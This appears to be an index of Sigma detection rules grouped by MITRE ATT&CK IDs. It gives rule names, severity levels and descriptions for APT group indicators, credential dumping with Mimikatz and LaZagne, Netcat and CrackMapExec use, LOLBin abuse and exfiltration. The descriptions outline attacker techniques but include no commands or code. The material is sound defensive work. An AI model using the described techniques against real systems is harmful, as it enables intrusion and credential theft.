attack.g0049	6	Show Rules (6) Suspicious Certutil Command Usage - Level: high Description: Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code OilRig APT Activity - Level: critical Description: Detects OilRig activity as reported by Nyotron in their March 2018 report OilRig APT Registry Persistence - Level: critical Description: Detects OilRig registry persistence as reported by Nyotron in their March 2018 report OilRig APT Schedule Task Persistence - Security - Level: critical Description: Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report OilRig APT Schedule Task Persistence - System - Level: critical Description: Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report Greenbug Espionage Group Indicators - Level: critical Description: Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec
attack.g0046	6	Show Rules (6) Renamed PaExec Execution - Level: medium Description: Detects execution of renamed paexec via imphash and executable product string Suspicious Binary In User Directory Spawned From Office Application - Level: high Description: Detects an executable in the users directory started from one of the Microsoft Office suite applications (Word, Excel, PowerPoint, Publisher, Visio) Potential APT FIN7 Related PowerShell Script Created - Level: high Description: Detects PowerShell script file creation with specific name or suffix which was seen being used often by FIN7 PowerShell scripts Potential APT FIN7 POWERHOLD Execution - Level: high Description: Detects execution of the POWERHOLD script seen used by FIN7 as reported by WithSecureLabs Potential POWERTRASH Script Execution - Level: high Description: Detects potential execution of the PowerShell script POWERTRASH Potential APT FIN7 Reconnaissance/POWERTRASH Related Activity - Level: high Description: Detects specific command line execution used by FIN7 as reported by WithSecureLabs for reconnaissance and POWERTRASH execution
attack.t1537	6	Show Rules (6) AWS EC2 VM Export Failure - Level: low Description: An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance. AWS S3 Data Management Tampering - Level: low Description: Detects when a user tampers with S3 data management in Amazon Web Services. AWS Snapshot Backup Exfiltration - Level: medium Description: Detects the modification of an EC2 snapshot's permissions to enable access from another account Github Fork Private Repositories Setting Enabled/Cleared - Level: medium Description: Detects when the policy allowing forks of private and internal repositories is changed (enabled or cleared). Github Repository/Organization Transferred - Level: medium Description: Detects when a repository or an organization is being transferred to another location. Data Exfiltration to Unsanctioned Apps - Level: medium Description: Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.
attack.t1201	6	Show Rules (6) Password Policy Discovery - Linux - Level: low Description: Detects password policy discovery commands Cisco Discovery - Level: low Description: Find information about network devices that is not stored in config files Password Policy Enumerated - Level: medium Description: Detects when the password policy is enumerated. Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy - Level: low Description: Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain. HackTool - CrackMapExec Execution - Level: high Description: This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced. Net.EXE Execution - Level: low Description: Detects execution of "Net.EXE".
attack.t1587	6	Show Rules (6) Program Executions in Suspicious Folders - Level: medium Description: Detects program executions in suspicious non-program folders related to malware or hacking activity Linux HackTool Execution - Level: high Description: Detects known hacktool execution based on image name. HackTool - PurpleSharp Execution - Level: critical Description: Detects the execution of the PurpleSharp adversary simulation tool CVE-2021-1675 Print Spooler Exploitation Filename Pattern - Level: critical Description: Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675 Suspicious Word Cab File Write CVE-2021-40444 - Level: high Description: Detects file creation patterns noticeable during the exploitation of CVE-2021-40444 FoggyWeb Backdoor DLL Loading - Level: critical Description: Detects DLL hijacking technique used by NOBELIUM in their FoggyWeb backdoor. Which loads a malicious version of the expected "version.dll" dll
attack.t1529	6	Show Rules (6) System Shutdown/Reboot - Linux - Level: informational Description: Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. System Shutdown/Reboot - MacOs - Level: informational Description: Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Cisco Denial of Service - Level: medium Description: Detect a system being shutdown or put into different boot mode Silence.EDA Detection - Level: critical Description: Detects Silence EmpireDNSAgent as described in the Group-IP report Suspicious Execution of Shutdown - Level: medium Description: Use of the commandline to shutdown or reboot windows Suspicious Execution of Shutdown to Log Out - Level: medium Description: Detects the rare use of the command line tool shutdown to logoff a user
attack.t1496	6	Show Rules (6) Linux Crypto Mining Pool Connections - Level: high Description: Detects process connections to a Monero crypto mining pool Linux Crypto Mining Indicators - Level: high Description: Detects command line parameters or strings often used by crypto miners Monero Crypto Coin Mining Pool Lookup - Level: high Description: Detects suspicious DNS queries to Monero mining pools DNS Events Related To Mining Pools - Level: low Description: Identifies clients that may be performing DNS lookups associated with common currency mining pools. Network Communication With Crypto Mining Pool - Level: high Description: Detects initiated network connections to crypto mining pools Potential Crypto Mining Activity - Level: high Description: Detects command line parameters or strings often used by crypto miners
attack.t1571	6	Show Rules (6) Potentially Suspicious Malware Callback Communication - Linux - Level: high Description: Detects programs that connect to known malware callback ports based on threat intelligence reports. Suspicious DNS Z Flag Bit Set - Level: medium Description: The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused). Although recently it has been used in DNSSec, the value being set to anything other than 0 should be rare. Otherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward. Determine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering. This Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs' Potentially Suspicious Malware Callback Communication - Level: high Description: Detects programs that connect to known malware callback ports based on statistical analysis from two different sandbox system databases Communication To Uncommon Destination Ports - Level: medium Description: Detects programs that connect to uncommon destination ports Testing Usage of Uncommonly Used Port - Level: medium Description: Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Suspicious Werfault.exe Network Connection Outbound - Level: medium Description: Adversaries can migrate cobalt strike/metasploit/C2 beacons on compromised systems to legitimate werfault.exe process to avoid detection.
attack.t1570	6	Show Rules (6) Metasploit Or Impacket Service Installation Via SMB PsExec - Level: high Description: Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation PSEXEC Remote Execution File Artefact - Level: high Description: Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system Rundll32 Execution Without Parameters - Level: high Description: Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module SMB over QUIC Via PowerShell Script - Level: medium Description: Detects the mounting of Windows SMB shares over QUIC, which can be an unexpected event in some enterprise environments SMB over QUIC Via Net.EXE - Level: medium Description: Detects the mounting of Windows SMB shares over QUIC, which can be an unexpected event in some enterprise environments. Metasploit Or Impacket Service Installation Via SMB PsExec - Level: high Description: Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation
attack.g0069	6	Show Rules (6) CMSTP Execution Process Access - Level: high Description: Detects various indicators of Microsoft Connection Manager Profile Installer execution CMSTP Execution Process Creation - Level: high Description: Detects various indicators of Microsoft Connection Manager Profile Installer execution CMSTP UAC Bypass via COM Object Access - Level: high Description: Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65) CMSTP Execution Registry Event - Level: high Description: Detects various indicators of Microsoft Connection Manager Profile Installer execution Potential MuddyWater APT Activity - Level: high Description: Detects potential Muddywater APT activity MERCURY APT Activity - Level: high Description: Detects suspicious command line patterns seen being used by MERCURY APT
attack.t1119	5	Show Rules (5) iOS Implant URL Pattern - Level: critical Description: Detects URL pattern used by iOS Implant Automated Collection Command PowerShell - Level: medium Description: Once established within a system or network, an adversary may use automated techniques for collecting internal data. Recon Information for Export with PowerShell - Level: medium Description: Once established within a system or network, an adversary may use automated techniques for collecting internal data Automated Collection Command Prompt - Level: medium Description: Once established within a system or network, an adversary may use automated techniques for collecting internal data. Recon Information for Export with Command Prompt - Level: medium Description: Once established within a system or network, an adversary may use automated techniques for collecting internal data.
attack.t1584	5	Show Rules (5) Search-ms and WebDAV Suspicious Indicators in URL - Level: high Description: Detects URL pattern used by search(-ms)/WebDAV initial access campaigns. Program Executions in Suspicious Folders - Level: medium Description: Detects program executions in suspicious non-program folders related to malware or hacking activity Suspicious External WebDAV Execution - Level: high Description: Detects executables launched from external WebDAV shares using the WebDAV Explorer integration, commonly seen in initial access campaigns. Windows Update Error - Level: informational Description: Detects Windows update errors including installation failures and connection issues. Defenders should observe this in case critical update KBs aren't installed. WebDAV Temporary Local File Creation - Level: medium Description: Detects the creation of WebDAV temporary files with potentially suspicious extensions
attack.g0032	5	Show Rules (5) Lazarus Activity Apr21 - Level: high Description: Detects different process creation events as described in Malwarebytes's threat report on Lazarus group activity Lazarus Loaders - Level: critical Description: Detects different loaders as described in various threat reports on Lazarus group activity Suspicious HWP Sub Processes - Level: high Description: Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation Lazarus Group Activity - Level: critical Description: Detects different process execution behaviors as described in various threat reports on Lazarus group activity Lazarus APT DLL Sideloading Activity - Level: high Description: Detects sideloading of trojanized DLLs used in Lazarus APT campaign in the case of a Spanish aerospace company
attack.t1041	5	Show Rules (5) OpenCanary - TFTP Request - Level: high Description: Detects instances where a TFTP service on an OpenCanary node has had a request. Network Communication Initiated To Portmap.IO Domain - Level: medium Description: Detects an executable accessing the portmap.io domain, which could be a sign of forbidden C2 traffic or data exfiltration by malicious actors Equation Group C2 Communication - Level: high Description: Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools Tunneling Tool Execution - Level: medium Description: Detects the execution of well known tools that can be abused for data exfiltration and tunneling. DNSCat2 Powershell Implementation Detection Via Process Creation - Level: high Description: The PowerShell implementation of DNSCat2 calls nslookup to craft queries. Counting nslookup processes spawned by PowerShell will show hundreds or thousands of instances if PS DNSCat2 is active locally.
attack.t1558	5	Show Rules (5) Antivirus Password Dumper Detection - Level: critical Description: Detects a highly relevant Antivirus alert that reports a password dumper. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place. Replay Attack Detected - Level: high Description: Detects possible Kerberos Replay Attack on the domain controllers when "KRB_AP_ERR_REPEAT" Kerberos response is sent to the client HackTool - Mimikatz Kirbi File Creation - Level: critical Description: Detects the creation of files created by mimikatz such as ".kirbi", "mimilsa.log", etc. Uncommon Outbound Kerberos Connection - Level: medium Description: Detects uncommon outbound network activity via Kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation. User with Privileges Logon - Level: low Description: Detects logon with "Special groups" and "Special Privileges" can be thought of as Administrator groups or privileges.
attack.t1550	5	Show Rules (5) AWS STS AssumeRole Misuse - Level: low Description: Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges. AWS STS GetSessionToken Misuse - Level: low Description: Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges. AWS Suspicious SAML Activity - Level: medium Description: Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML. Outgoing Logon with New Credentials - Level: low Description: Detects logon events that specify new credentials User with Privileges Logon - Level: low Description: Detects logon with "Special groups" and "Special Privileges" can be thought of as Administrator groups or privileges.
attack.t1573	5	Show Rules (5) Activity from Suspicious IP Addresses - Level: medium Description: Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence. These IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account. Activity from Anonymous IP Addresses - Level: medium Description: Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address. Activity from Infrequent Country - Level: medium Description: Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization. Suspicious SSL Connection - Level: low Description: Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Potential Pikabot C2 Activity - Level: high Description: Detects the execution of rundll32 that leads to an external network connection. The malware Pikabot has been seen to use this technique to initiate C2-communication through hard-coded Windows binaries.
attack.g0020	5	Show Rules (5) Equation Group Indicators - Level: high Description: Detects suspicious shell commands used in various Equation Group scripts and tools Equation Group C2 Communication - Level: high Description: Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools Equation Group DLL_U Export Function Load - Level: critical Description: Detects a specific export function name used by one of EquationGroup tools Potential Operation Triangulation C2 Beaconing Activity - DNS - Level: high Description: Detects potential beaconing activity to domains used in 0day attacks on iOS devices and revealed by Kaspersky and the FSB Potential Operation Triangulation C2 Beaconing Activity - Proxy - Level: high Description: Detects potential beaconing activity to domains used in 0day attacks on iOS devices and revealed by Kaspersky and the FSB
attack.t1557	5	Show Rules (5) Cisco BGP Authentication Failures - Level: low Description: Detects BGP failures which may be indicative of brute force attacks to manipulate routing Cisco LDP Authentication Failures - Level: low Description: Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels Huawei BGP Authentication Failures - Level: low Description: Detects BGP failures which may be indicative of brute force attacks to manipulate routing. Juniper BGP Missing MD5 - Level: low Description: Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing. Potential Suspicious Activity Using SeCEdit - Level: medium Description: Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy
attack.t1649	5	Show Rules (5) Certificate Private Key Acquired - Level: medium Description: Detects when an application acquires a certificate private key Certificate Exported From Local Certificate Store - Level: medium Description: Detects when an application exports a certificate (and potentially the private key as well) from the local Windows certificate store. HackTool - Certify Execution - Level: high Description: Detects Certify a tool for Active Directory certificate abuse based on PE metadata characteristics and common command line arguments. HackTool - Certipy Execution - Level: high Description: Detects Certipy execution, a tool for Active Directory Certificate Services enumeration and abuse based on PE metadata characteristics and common command line arguments. User with Privileges Logon - Level: low Description: Detects logon with "Special groups" and "Special Privileges" can be thought of as Administrator groups or privileges.
attack.t1220	5	Show Rules (5) WMIC Loading Scripting Libraries - Level: medium Description: Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc). Msxsl.EXE Execution - Level: medium Description: Detects the execution of the MSXSL utility. This can be used to execute Extensible Stylesheet Language (XSL) files. These files are commonly used to describe the processing and rendering of data within XML files. Adversaries can abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Remote XSL Execution Via Msxsl.EXE - Level: high Description: Detects the execution of the "msxsl" binary with an "http" keyword in the command line. This might indicate a potential remote execution of XSL files. Potential SquiblyTwo Technique Execution - Level: medium Description: Detects potential SquiblyTwo attack technique with possible renamed WMIC via Imphash and OriginalFileName fields XSL Script Execution Via WMIC.EXE - Level: medium Description: Detects the execution of WMIC with the "format" flag to potentially load XSL files. Adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files.
attack.t1615	5	Show Rules (5) Suspicious GPO Discovery With Get-GPO - Level: low Description: Detect use of Get-GPO to get one GPO or all the GPOs in a domain. Gpresult Display Group Policy Information - Level: medium Description: Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information HackTool - SharpUp PrivEsc Tool Execution - Level: critical Description: Detects the use of SharpUp, a tool for local privilege escalation Potential Reconnaissance Activity Via GatherNetworkInfo.VBS - Level: medium Description: Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS - Level: high Description: Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine
attack.t1095	4	Show Rules (4) Netcat The Powershell Version - PowerShell Module - Level: medium Description: Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network Suspicious DNS Z Flag Bit Set - Level: medium Description: The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused). Although recently it has been used in DNSSec, the value being set to anything other than 0 should be rare. Otherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward. Determine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering. This Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs' Netcat The Powershell Version - Level: medium Description: Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network PUA - Netcat Suspicious Execution - Level: high Description: Detects execution of Netcat. Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network
attack.t1069	4	Show Rules (4) AzureHound PowerShell Commands - Level: high Description: Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound Malicious PowerShell Commandlets - PoshModule - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks Malicious PowerShell Commandlets - ScriptBlock - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks Malicious PowerShell Commandlets - ProcessCreation - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks
attack.t1114	4	Show Rules (4) PST Export Alert Using eDiscovery Alert - Level: medium Description: Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content PST Export Alert Using New-ComplianceSearchAction - Level: medium Description: Alert when a user has performed an export to a search using 'New-ComplianceSearchAction' with the '-Export' flag. This detection will detect PST export even if the 'eDiscovery search or exported' alert is disabled in the O365.This rule will apply to ExchangePowerShell usage and from the cloud. Hacktool Ruler - Level: high Description: This events that are generated when using the hacktool Ruler by Sensepost Exchange PowerShell Snap-Ins Usage - Level: high Description: Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27
attack.t1189	4	Show Rules (4) Suspicious Browser Child Process - MacOS - Level: medium Description: Detects suspicious child processes spawned from browsers. This could be a result of a potential web browser exploitation. Flash Player Update from Suspicious Location - Level: high Description: Detects a flashplayer update from an unofficial location Cross Site Scripting Strings - Level: high Description: Detects XSS attempts injected via GET requests in access logs Possible DNS Rebinding - Level: medium Description: Detects several different DNS-answers by one domain with IPs from internal and external networks. Normally, DNS-answer contain TTL >100. (DNS-record will saved in host cache for a while TTL).
attack.t1553	4	Show Rules (4) Suspicious Execution via macOS Script Editor - Level: medium Description: Detects when the macOS Script Editor utility spawns an unusual child process. Renamed BOINC Client Execution - Level: medium Description: Detects the execution of a renamed BOINC binary. Suspicious RazerInstaller Explorer Subprocess - Level: high Description: Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM Potential BOINC Software Execution (UC-Berkeley Signature) - Level: informational Description: Detects the use of software that is related to the University of California, Berkeley via metadata information. This indicates it may be related to BOINC software and can be used maliciously if unauthorized.
attack.t1211	4	Show Rules (4) Microsoft Malware Protection Engine Crash - Level: high Description: This rule detects a suspicious crash of the Microsoft Malware Protection Engine Audit CVE Event - Level: critical Description: Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log. Microsoft Malware Protection Engine Crash - WER - Level: high Description: This rule detects a suspicious crash of the Microsoft Malware Protection Engine Writing Of Malicious Files To The Fonts Folder - Level: medium Description: Monitors for the hiding possible malicious files in the C:\Windows\Fonts\ location. This folder doesn't require admin privillege to be written and executed from.
attack.t1072	4	Show Rules (4) Restricted Software Access By SRP - Level: high Description: Detects restricted access to applications by the Software Restriction Policies (SRP) policy Suspicious Csi.exe Usage - Level: medium Description: Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft “Roslyn” Community Technology Preview was named 'rcsi.exe' PDQ Deploy Remote Adminstartion Tool Execution - Level: medium Description: Detect use of PDQ Deploy remote admin tool PUA - Radmin Viewer Utility Execution - Level: medium Description: Detects the execution of Radmin which can be abused by an adversary to remotely control Windows machines
attack.s0139	4	Show Rules (4) Hidden Executable In NTFS Alternate Data Stream - Level: medium Description: Detects the creation of an ADS (Alternate Data Stream) that contains an executable by looking at a non-empty Imphash Suspicious File Download From File Sharing Websites - File Stream - Level: high Description: Detects the download of suspicious file type from a well-known file and paste sharing domain Unusual File Download From File Sharing Websites - File Stream - Level: medium Description: Detects the download of suspicious file type from a well-known file and paste sharing domain HackTool Named File Stream Created - Level: high Description: Detects the creation of a named file stream with the imphash of a well-known hack tool
attack.t1008	4	Show Rules (4) New Outlook Macro Created - Level: medium Description: Detects the creation of a macro file for Outlook. Suspicious Outlook Macro Created - Level: high Description: Detects the creation of a macro file for Outlook. Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting - Level: high Description: Detects the modification of Outlook setting "LoadMacroProviderOnBoot" which if enabled allows the automatic loading of any configured VBA project/module Outlook Macro Execution Without Warning Setting Enabled - Level: high Description: Detects the modification of Outlook security setting to allow unprompted execution of macros.
attack.t1518	4	Show Rules (4) HackTool - WinPwn Execution - ScriptBlock - Level: high Description: Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. Detected Windows Software Discovery - PowerShell - Level: medium Description: Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable. HackTool - WinPwn Execution - Level: high Description: Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. Detected Windows Software Discovery - Level: medium Description: Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.
attack.t1569	4	Show Rules (4) Psexec Execution - Level: medium Description: Detects user accept agreement execution in psexec commandline Possible CVE-2021-1675 Print Spooler Exploitation - Level: high Description: Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675 CVE-2021-1675 Print Spooler Exploitation - Level: critical Description: Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 CVE-2021-1675 Print Spooler Exploitation IPC Access - Level: critical Description: Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527
attack.t1560	4	Show Rules (4) Compressed File Creation Via Tar.EXE - Level: low Description: Detects execution of "tar.exe" in order to create a compressed file. Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Compressed File Extraction Via Tar.EXE - Level: low Description: Detects execution of "tar.exe" in order to extract compressed file. Adversaries may abuse various utilities in order to decompress data to avoid detection. Conti NTDS Exfiltration Command - Level: high Description: Detects a command used by conti to exfiltrate NTDS Compress-Archive Cmdlet Execution - Level: low Description: Detects PowerShell scripts that make use of the "Compress-Archive" cmdlet in order to compress folders and files. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.
attack.t1498	3	Show Rules (3) Deployment Deleted From Kubernetes Cluster - Level: low Description: Detects the removal of a deployment from a Kubernetes cluster. This could indicate disruptive activity aiming to impact business operations. OpenCanary - NTP Monlist Request - Level: high Description: Detects instances where an NTP service on an OpenCanary node has had a NTP monlist request. Potential BlackByte Ransomware Activity - Level: high Description: Detects command line patterns used by BlackByte ransomware in different operations
attack.t1136	3	Show Rules (3) New Kubernetes Service Account Created - Level: low Description: Detects creation of new Kubernetes service account, which could indicate an attacker's attempt to persist within a cluster. AWS ElastiCache Security Group Created - Level: low Description: Detects when an ElastiCache security group has been created. ESXi Account Creation Via ESXCLI - Level: medium Description: Detects user account creation on ESXi system via esxcli
attack.t1565	3	Show Rules (3) AWS EC2 Disable EBS Encryption - Level: medium Description: Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region. Disabling default encryption does not change the encryption status of your existing volumes. Google Cloud Re-identifies Sensitive Information - Level: medium Description: Identifies when sensitive information is re-identified in google Cloud. Powershell Add Name Resolution Policy Table Rule - Level: high Description: Detects powershell scripts that adds a Name Resolution Policy Table (NRPT) rule for the specified namespace. This will bypass the default DNS server and uses a specified server for answering the query.
attack.t1526	3	Show Rules (3) Discovery Using AzureHound - Level: high Description: Detects AzureHound (A BloodHound data collector for Microsoft Azure) activity via the default User-Agent that is used during its operation after successful authentication. Github Self Hosted Runner Changes Detected - Level: low Description: A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com. This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected, it should be validated from GitHub UI because the log entry may not provide full context. PUA - Seatbelt Execution - Level: high Description: Detects the execution of the PUA/Recon tool Seatbelt via PE information of command line parameters
attack.t1124	3	Show Rules (3) Cisco Discovery - Level: low Description: Find information about network devices that is not stored in config files Discovery of a System Time - Level: low Description: Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system. Use of W32tm as Timer - Level: high Description: When configured with suitable command line arguments, w32tm can act as a delay mechanism
attack.t1187	3	Show Rules (3) Potential PetitPotam Attack Via EFS RPC Calls - Level: medium Description: Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam. The usage of this RPC function should be rare if ever used at all. Thus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate. View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc..' Possible PetitPotam Coerce Authentication Attempt - Level: high Description: Detect PetitPotam coerced authentication activity. PetitPotam Suspicious Kerberos TGT Request - Level: high Description: Detect suspicious Kerberos TGT requests. Once an attacer obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes. One way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus. This request will generate a 4768 event with some unusual fields depending on the environment. This analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.
attack.t1200	3	Show Rules (3) USB Device Plugged - Level: low Description: Detects plugged/unplugged USB devices Device Installation Blocked - Level: medium Description: Detects an installation of a device that is forbidden by the system policy External Disk Drive Or USB Storage Device Was Recognized By The System - Level: low Description: Detects external disk drives or plugged-in USB devices.
attack.t1134	3	Show Rules (3) HackTool - NoFilter Execution - Level: high Description: Detects execution of NoFilter, a tool for abusing the Windows Filtering Platform for privilege escalation via hardcoded policy name indicators Suspicious SYSTEM User Process Creation - Level: high Description: Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter) Detection of Possible Rotten Potato - Level: high Description: Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE privileges
attack.t1554	3	Show Rules (3) HybridConnectionManager Service Installation - Level: high Description: Rule to detect the Hybrid Connection Manager service installation. HybridConnectionManager Service Running - Level: high Description: Rule to detect the Hybrid Connection Manager service running on an endpoint. DNS HybridConnectionManager Service Bus - Level: high Description: Detects Azure Hybrid Connection Manager services querying the Azure service bus service
attack.t1217	3	Show Rules (3) Automated Collection Bookmarks Using Get-ChildItem PowerShell - Level: low Description: Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. File And SubFolder Enumeration Via Dir Command - Level: low Description: Detects usage of the "dir" command part of Widows CMD with the "/S" command line flag in order to enumerate files in a specified directory and all subdirectories. Suspicious Where Execution - Level: low Description: Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.
attack.t1176	3	Show Rules (3) Chromium Browser Instance Executed With Custom Extension - Level: medium Description: Detects a Chromium based browser process with the 'load-extension' flag to start a instance with a custom extension Suspicious Chromium Browser Instance Executed With Custom Extension - Level: high Description: Detects a suspicious process spawning a Chromium based browser process with the 'load-extension' flag to start an instance with a custom extension ChromeLoader Malware Execution - Level: high Description: Detects execution of ChromeLoader malware via a registered scheduled task
attack.s0349	2	Show Rules (2) Credential Dumping by LaZagne - Level: critical Description: Detects LSASS process access by LaZagne for credential dumping. Credential Dumping Activity By Python Based Tool - Level: high Description: Detects LSASS process access for potential credential dumping by a Python-like tool such as LaZagne or Pypykatz.
attack.g0035	2	Show Rules (2) CrackMapExecWin - Level: critical Description: Detects CrackMapExecWin Activity as Described by NCSC Ps.exe Renamed SysInternals Tool - Level: high Description: Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report
attack.g0007	2	Show Rules (2) Suspicious Certutil Command Usage - Level: high Description: Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code Sofacy Trojan Loader Activity - Level: high Description: Detects Trojan loader activity as used by APT28
attack.g0045	2	Show Rules (2) Suspicious Certutil Command Usage - Level: high Description: Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code Potential APT10 Cloud Hopper Activity - Level: high Description: Detects potential process and execution activity related to APT10 Cloud Hopper operation
attack.s0404	2	Show Rules (2) Suspicious Esentutl Use - Level: high Description: Detects flags often used with the LOLBAS Esentutl for malicious activity. It could be used in rare cases by administrators to access locked files or during maintenance. Copying Sensitive Files with Credential Data - Level: high Description: Files with well-known filenames (sensitive files with credential data) copying
